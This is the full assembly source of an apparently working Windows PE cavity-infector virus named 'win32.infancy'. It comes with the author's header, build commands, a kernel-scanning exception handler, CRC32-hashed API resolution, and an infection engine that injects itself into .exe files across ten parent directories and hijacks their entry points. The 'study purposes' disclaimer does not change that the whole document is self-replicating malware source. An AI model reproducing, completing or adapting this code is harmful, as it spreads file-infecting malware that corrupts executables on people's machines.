;????????????????????????????????????????????????????????????????????????????» ;? win32.infancy (c)oded by shitdown [mions] in feb-18-2001, alfa version ? ;? non-dangerous, non-resident pe cavity ring3 direct-action infector ? ;????????????????????????????????????????????????????????????????????????????? ;? this code is optimised for size by technique, not by asm :( ? ;????????????????????????????????????????????????????????????????????????????? ;????????????????????????????????????????????????????????????????????????????? ;? description:? ? ;??????????????? ? ;? name : win32.infancy (win32 teoretically, tested on win98 :-) ? ;? author : shitdown (http://shitdown.sf.cz, email: shitdown@sf.cz) ? ;? origin : czech republic ? ;? size : 540 bytes ? ;? infects : .exe pe files ? ;? payload : no ? ;? strings : no ? ;? encrypt : no ? ;? resident : no ? ;? cavity : yes ? ;? anti-debug : yes, 0cch api callgate fucks td32 ? ;? anti-emu : yes,non-standard playing with seh ? ;? anti-av : no ? ;????????????????????????????????????????????????????????????????????????????? ;? simple example tiny virus, shows how to use ? ;? structured exception handling ? ;? kernel is determined by standard way (pop eax/push eax) ? ;? at start, apis is located at fly (when is needed) ? ;? ( push crc32 of api / int 3 ) - crc32 api names, ? ;? virus can be easy detected / cleaned by generic scaner ? ;? virus doesn't needs write permission to section - ? ;? - all variables will be allocated dynamically on stack ? ;? virus searches & infects all files in 10 up-directories; ? ;? (cd .. / infect_all, cd .. / infect_all :) ? ;? this cute code is designed to use 'holes' in code ? ;? section, virus doesn't increase host size. ? ;? this code is not purposed to be world-wide :) ? ;? so, only for study purposes. ? ;? ? ;?how to compile: ? ;? tasm32 -ml -m9 -q -zn -z infancy.asm ? ;? tlink32 -r -m -s -M -Tpe -c -ap infancy.obj ? ;?how to debug: ? ;? set 'softice' definition to '1', compile, go to softice and type ? ;?'i1here on' and run infancy.exe file. ? ;???????????????????????????????? ? ;?fuck the windows, linux rocks!? ? ;????????????????????????????????????????????????????????????????????????????? .386p ;nice machines :) .model flat ;why ? why not ! softice = 0 dir_depth = 10 ;10 up-directories .data dummy dd ? ; ????????????????? ;??????????????????????????? needed macroz ??????????????????????????????????? ; ????????????????? ; ;??????????????? ;? crc32 macro ? ;??????????????? crc32_magic = 0c1a7f39ah crc32 macro string crcreg = 0ffffffffh irpc _x, ctrlbyte = ('&_x&' and 0dfh) xor (crcreg and 0ffh) crcreg = crcreg shr 8 rept 8 ctrlbyte = (ctrlbyte shr 1) xor (crc32_magic * (ctrlbyte and 1)) endm crcreg = crcreg xor ctrlbyte endm dd crcreg endm ;?????????????????? ;? api call macro ? ;?????????????????? api macro apiname db 68h crc32 db 0cch endm ;???????????????????????????? ;? softice breakpoint macro ? ;???????????????????????????? break macro if softice int 01 endif endm ; ???????????????????????????? ;???????????????????????? here starts code section ??????????????????????????? ; ???????????????????????????? .code go: virus_start: ;?????????????????????????????????????????????????????? ;? try to get kernel address, using 'standard' method ? ;? pop eax / push eax, function is protected by seh ? ;?????????????????????????????????????????????????????? pop eax ;kernel address push eax ;to eax xor ax, ax k32_scan_next: push eax ;for restorin' ;by seh call set_k32_scan_seh k32_scan_seh: pop ecx ;esp+8 pop ecx pop esp ;mov esp, [esp+8] k32_scan_mismatch: pop ecx ;remove old seh pop ecx pop eax ;restore last ;kernel address add eax, 0-10000h jmp short k32_scan_next ;try again set_k32_scan_seh: xor ecx, ecx push ecx mov dword ptr fs:[ecx], esp cmp word ptr [eax], 5a4dh jne short k32_scan_mismatch k32_found: pop eax ;remove old seh pop ecx pop ebp ;?????????????????????? create handler for virus-services ????????????????????? call get_handler_offset ;???????????????????????????????????????????????????????????????????? ;? here is an entrypoint of exception gate, if any exception occurs ? ;? (including 0cch opcode call), this code will be executed ? ;???????????????????????????????????????????????????????????????????? exception_handler: pushad ;save all registerz mov esi, [esp+4+20h] ;exception code lodsb ;exception number cmp al, 3 ;virus request ? je short exception_virus_request ;yah ;???????????????????????????????????????????????????????????????? ;? only handled exception is int 0x3 - virus api gateway, other ? ;? exceptions is page faults, invalid opcodes etc, then virus ? ;? tryes jump to original host ? ;???????????????????????????????????????????????????????????????? other_exception: break mov esp, [esp+8+20h] pop eax ;remove old seh handler pop eax call get_eip get_eip: db 81h, 2ch, 24h ;sub [esp], old_host old_host dd -((offset fake_host-offset go)-(offset get_eip-offset go)) ret ;??? virus interrupt / request exception_virus_request: mov esi, [esp+0ch+20h] ;context-block add esi, 0b4h ;pointer lodsd ;to saved ebp xchg eax, ebp ;ebp-base of kernel mov edi, esi ;for edi storing lodsd ;load eip to eax xchg eax, esi ;in esi is eip ;??? fix win9x bug lodsb cmp al, 0cch je short no_w9x_bug dec esi no_w9x_bug: ;??????????????????????????????????????????? ;? in esi is return addres (after int 03h) ? ;? in edi is pointer to stack stored eip ? ;??????????????????????????????????????????? mov ebx, [edi+12] ;esi points to dword on stack xchg [ebx], esi ;xchange crc32 <> return addr mov ebx, esi ; :( crc32 to ebx ;????????????????????????????????????????? ;? okay, now i must call those crazy api ? ;? in ebp is kernel address ? ;????????????????????????????????????????? mov esi, [ebp+3ch] ;pe header to esi mov esi, [esi+ebp+78h] ;export table to esi lea esi, [esi+ebp+1ch] ;offset of 'address table' lodsd ;address table push eax ;save 'address table' lodsd ;name table to eax push esi ;save pointer to ordinal table lea esi, [eax+ebp] mov ecx, ebp ;counter of api try_next_api_name: lodsd ;in eax pointer to string add eax, ebp ;???? crc32 code ????????????????????????????????????????????????????????????? ;? ? input: eax - offset to name ? ? ; ? output:edx - crc32 ? ; ??????????????????????????????? get_crc32: push esi xchg eax, esi xor edx, edx dec edx crc_next_byte: lodsb and al, 0dfh ;i hate uppercase :) jz short crc_finish xor dl, al mov al, 08h crc_next_bit: shr edx, 01h jnc short crc_no_change xor edx, crc32_magic crc_no_change: dec al jnz short crc_next_bit jmp short crc_next_byte crc_finish: pop esi ;? ? ;?????????????????????????????? end of crc32 ????????????????????????????????? inc ecx inc ecx cmp edx, ebx ;hit ? jne short try_next_api_name ;???????????????????????????????????????????? ;? yahooo, api hit! ? ;? in ecx is api index (starting from 1 !!) ? ;???????????????????????????????????????????? pop esi ;restore *ordinal_table lodsd ;in eax pointer to ordinal table movzx ecx, word ptr [eax+ecx-2] ;in ecx is now ordinal (0..x) pop eax ;in esi is ptr address table add eax, ebp mov eax, [ecx*4+eax] ;and jump to api :) add eax, ebp stosd popad xor eax, eax ret ;? ? ;???????????????????????????? end of virus-handler ??????????????????????????? ;????????????????????????? here starts infection engine ?????????????????????? ;? ? infect: xor esi, esi lea ebx, [esp+44+2*4] ;filename to ebx ;??? at first, i must open file for read & write push esi ;file attributes push esi ;"" push 3 ;open existing push esi ;security=default push esi ;no sharing push 0c0000000h ;generic read & write push ebx ;file name api ;open! inc eax ;-1+1=0 ? jnz short infect_continue retn infect_continue: ; yes, this is error dec eax ; handle to eax push eax ;save for future use ;??? now create file mapping push esi ;no filename handle push dword ptr [esp+32+4*4] ;maximal size of file push esi ;no min. size push 4 ;page read & write push esi ;no security push eax ;mapped file handle api push eax ;save for future use ;??? and map file to memory push dword ptr [esp+32+4*4] ;count of bytes to map push esi ;blah... push esi ; push 2 ;read & write push eax ;map-handle api ;??? yahoo, in eax is mapped file mov ebx, eax cmp word ptr [eax], 5a4dh ;exe file ? jne short @unmap_file cmp word ptr [eax+18h], 0040h @unmap_file: jne short @@unmap_file add ebx, [eax+3ch] cmp word ptr [ebx], 4550h ;is this pe header ? @@unmap_file: jne short unmap_file ;no xchg edx, eax ;imagebase to edx push ebx ;save pe header break movzx eax, word ptr [ebx+14h] add ebx, eax test byte ptr [ebx+18h+24h], 20h ;executable ? jz short _unmap_file ;no :( code_section_found: ;??? okay, in ebx+18h is section record break mov ecx, dword ptr [ebx+18h+10h] ;raw_size cmp ecx, dword ptr [ebx+18h+08h] ;raw_size>virtual size ? jc short _unmap_file ;raw size too small, go away mov esi, [ebx+18h+14h] ;raw address of section in esi add esi, edx ;esi points to start of .code mov eax, [ebx+18h+0ch] ;relative virt. addr to eax ;???????????????????????????????????????????????????????????????????? ;? esi - pointer to code, ecx - count of bytes left, edi - counter ? ;? eax - offset of cave (rva) ? ;???????????????????????????????????????????????????????????????????? ;???? current stack dump ????????????????????» ;? [esp] ? memory mapped pe header ? ;? [esp+4] ? map handle ? ;? [esp+8] ? file handle ? ;? [esp+12] ? offset of after_infect: label ? ;? [esp+16] ? file search handle ? ;? [esp+20] ? start of win32_find_data ? ;? [esp+48] ? 100% null-filled 4bytes :)) ? ;????????????????????????????????????????????? ; push dword ptr [ebx+0ch+18h] ;save virtual addr ; mov dword ptr [esp+20], [ebx+0ch+18h] xor edi, edi hole_mismatch: add [esp+48], edi add esi, edi xor edi, edi push esi ;save address holes_search: dec ecx pop eax ;clean stack js short _unmap_file push eax inc edi ;counter of found bytes lodsb test al, al jz short holes_search cmp al, 0cch jz short holes_search cmp al, 0c3h jz short holes_search hole_end: db 66h, 81h, 0ffh ;cmp di, virus_size dw virus_size+4 pop esi ;restore saved address jc short hole_mismatch ;no :( break hole_found: lodsd ;?????????????????????????????????????????????????????? ;? yah, in stack is rva of cave, in esi cave address ? ;? in edi size of cave ? ;?????????????????????????????????????????????????????? ; push dword ptr [ebx+18h+10h] ;raw size ; pop dword ptr [ebx+18h+08h] ;=virtual size mov edi, esi ;in edi offset of cave mov esi, [esp+12] ;offset infect to esi sub esi, offset after_infect - offset go ;offset of go to esi ; push esi mov ecx, virus_size ;virus size to ecx rep movsb ;and move the virus !! ; pop esi ;in esi offset of infect: ;??? in edi is offset virus_end sub edi, virus_end-old_host mov ecx, [esp+48] ;addres relative to cave lea ecx, [ecx+4] add ecx, [ebx+0ch+18h] ;rva of section pop ebx ;pe header in ebx lea eax, [ecx+get_eip-go] xchg [ebx+28h], ecx ;set entrypoint to virus sub eax, ecx ;????????????????????????????????????????????????????????????????????? ;? old_host = rva_of_virus+(offset get_eip-offset go)-entrypoint_rva ? ;????????????????????????????????????????????????????????????????????? stosd ;and store return adress push eax _unmap_file: xchg edx, eax pop ecx ;remove shit (pe header) ;unmaps file, in eax must be address of mapped file unmap_file: push eax api db 0bbh ;mov ebx, crc32 crc32 push ebx db 0cch ;close mapping handle pop edi lea esi, [esp+20+2*4] push esi sub esi, 8 push esi sub esi, 8 push esi push edi api push edi push ebx db 0cch ;close file handle push 21h ;make file read-only add esi, 40h push esi api unmap_file_end: infect_file_end: retn infect_end: ;? old_host = rva_of_virus+(offset get_eip-offset go)-entrypoint_rva ? ;?????????????????????????? here ends infection engine ??????????????????????? get_handler_offset: ;--- setup handler for virus services / exeption handling break push eax mov dword ptr fs:[eax], esp push dir_depth mov ah, 2 ;512 sub esp, eax ;place for old directory push esp ;buffer offset push eax ;buffer len xchg eax, ebx api ;??????????????????????????????????????????????????????? ;? main infection routine: ? ;? searches for *.exe and for ..\*.exe and infect them ? ;??????????????????????????????????????????????????????? sub esp, ebx ;size of (ffdata) find_first: push esp ;offset of data buffer call get_mask db "*.exe", 0 get_mask: api dir_search: push eax ;save search handle call infect after_infect: pop esi push esp push esi api dec eax xchg eax, esi jz short dir_search next_directory: push eax api ;close search handle mov dword ptr [esp], '..' push esp db 0bbh crc32 push ebx db 0cch ; api ;go to next up directory dec dword ptr [esp+1024] jnz short find_first cdq ;edx=0 mov dh, 2 add esp, edx push esp push ebx db 0cch ; api int 4 virus_end: virus_size = $-virus_start ;??????????????????? ;?end of virus game? ;??????????????????? ; ?????????????????? ;??????????????????????????????? fake host part ?????????????????????????????? ; ?????????????????? msg: db "win32.infancy." db '0'+virus_size/100 mod 10 db '0'+virus_size/10 mod 10 db '0'+virus_size mod 10 db 13, 10, "(c)oded by shitdown in jul-2000, http://shitdown@sf.cz, shitdown@sf.cz", 13, 10 db "welcome to first generation!", 13, 10 msg_len = $-msg db 1024 dup(?) fake_host: ;--------------- same kernel scanner pop eax ;kernel address to eax push eax xor ax, ax _k32_scan_next: push eax ;for restorin' by seh call _set_k32_scan_seh _k32_scan_seh: pop ecx ;esp+8 pop ecx pop esp ;mov esp, [esp+8] _k32_scan_mismatch: pop eax ;restore last kernel address pop ecx ;remove old seh pop ecx add eax, 0-10000h jmp short _k32_scan_next ;try again _set_k32_scan_seh: push eax xor ecx, ecx mov dword ptr fs:[ecx], esp cmp word ptr [eax], 5a4dh jne _k32_scan_mismatch _k32_found: pop ebp ;eax pop eax ;remove old seh pop eax ;----------------------------------- xor ecx, ecx push offset exception_handler push ecx mov dword ptr fs:[0], esp push -11 ;get a standard handle api push 0 push offset dummy push msg_len push offset msg push eax api push 0 api end go ;heh, thats all